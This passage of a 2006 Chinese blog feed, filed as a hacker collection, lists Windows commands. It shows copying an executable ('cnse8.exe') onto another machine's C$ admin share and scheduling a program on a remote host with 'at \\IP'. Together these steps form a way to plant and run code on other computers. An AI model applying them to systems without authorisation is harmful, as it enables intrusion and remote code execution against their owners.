&nbsp;&nbsp; (8)/sync当用于主域控制器时，该命令使域中所有备份域控制器同步。 <br />
　　举例说明：net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7。 <br />
21:copy 路径 \\ 文件名 </font ></strong ><a href="file:////IP//" ><strong ><font size="3" >\\IP\\</font ></strong ></a ><strong ><font size="3" >共享目录名<br />
&nbsp;&nbsp; 例：copy c:\\cnse8.exe </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\c$</font ></strong ></a ><strong ><font size="3" > 将c盘下的cnse8.exe文件复制到对方得的c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 盘内。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copy </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\c$\\cnse8.exe</font ></strong ></a ><strong ><font size="3" > c:\\ 将远程机器上的文件cnse8.exe复制到自己<br />
&nbsp;&nbsp; 机器上。<br />
22:at </font ></strong ><a ><strong ><font size="3" >\\\\IP</font ></strong ></a ><strong ><font size="3" > 时间 程序名 远程添加某个计划.<br />
</font ></strong ></p > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%BA%DA%BF%CD%CE%C4%BC%AF">黑客文集</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/53f46d277839c203908f9db5.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:26</pubDate>
        <category><![CDATA[黑客文集]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/53f46d277839c203908f9db5.html</guid>
</item>


</channel>
</rss>